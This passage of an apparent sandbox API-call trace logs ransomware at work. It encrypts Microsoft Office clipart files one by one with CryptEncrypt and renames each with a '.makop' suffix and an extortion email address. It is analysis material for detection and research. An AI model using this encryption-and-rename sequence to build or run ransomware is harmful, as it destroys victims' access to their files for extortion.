(in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdf0) returned 1 [0110.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdf0, lpOverlapped=0x0) returned 1 [0110.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.099] SetEndOfFile (hFile=0xf0) returned 1 [0110.106] GetProcessHeap () returned 0x48a0000 [0110.106] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0110.106] GetProcessHeap () returned 0x48a0000 [0110.106] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.106] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0110.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.107] CloseHandle (hObject=0xf0) returned 1 [0110.108] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0110.108] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0110.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.110] GetProcessHeap () returned 0x48a0000 [0110.110] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.110] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.110] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0110.115] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.115] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.115] GetProcessHeap () returned 0x48a0000 [0110.115] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.115] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.115] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.115] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.115] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.116] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.116] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.116] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.116] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.117] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x976, lpOverlapped=0x0) returned 1 [0110.117] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x980, dwBufLen=0x980 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x980) returned 1 [0110.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x980, lpOverlapped=0x0) returned 1 [0110.118] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.118] SetEndOfFile (hFile=0xf0) returned 1 [0110.125] GetProcessHeap () returned 0x48a0000 [0110.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.125] GetProcessHeap () returned 0x48a0000 [0110.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.125] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.126] CloseHandle (hObject=0xf0) returned 1 [0110.127] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0110.127] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0110.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.129] GetProcessHeap () returned 0x48a0000 [0110.129] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.129] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0110.134] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.134] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.134] GetProcessHeap () returned 0x48a0000 [0110.134] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.134] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.134] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.135] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.135] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.136] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8d6, lpOverlapped=0x0) returned 1 [0110.136] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0) returned 1 [0110.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.136] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8e0, lpOverlapped=0x0) returned 1 [0110.136] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.136] SetEndOfFile (hFile=0xf0) returned 1 [0110.144] GetProcessHeap () returned 0x48a0000 [0110.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.144] GetProcessHeap () returned 0x48a0000 [0110.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.144] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.147] CloseHandle (hObject=0xf0) returned 1 [0110.147] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0110.147] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0110.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.150] GetProcessHeap () returned 0x48a0000 [0110.150] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.150] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0110.155] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.155] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.155] GetProcessHeap () returned 0x48a0000 [0110.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0110.155] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0110.155] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.155] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0110.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.155] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.156] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.156] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.156] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.156] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8d6, lpOverlapped=0x0) returned 1 [0110.157] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0) returned 1 [0110.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8e0, lpOverlapped=0x0) returned 1 [0110.157] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.157] SetEndOfFile (hFile=0xf0) returned 1 [0110.170] GetProcessHeap () returned 0x48a0000 [0110.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0110.170] GetProcessHeap () returned 0x48a0000 [0110.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.170] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 106 [0110.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.171] CloseHandle (hObject=0xf0) returned 1 [0110.172] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0110.172] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0110.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.173] GetProcessHeap () returned 0x48a0000 [0110.173] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.173] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0110.208] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.209] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.209] GetProcessHeap () returned 0x48a0000 [0110.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.209] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.209] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.210] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.210] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 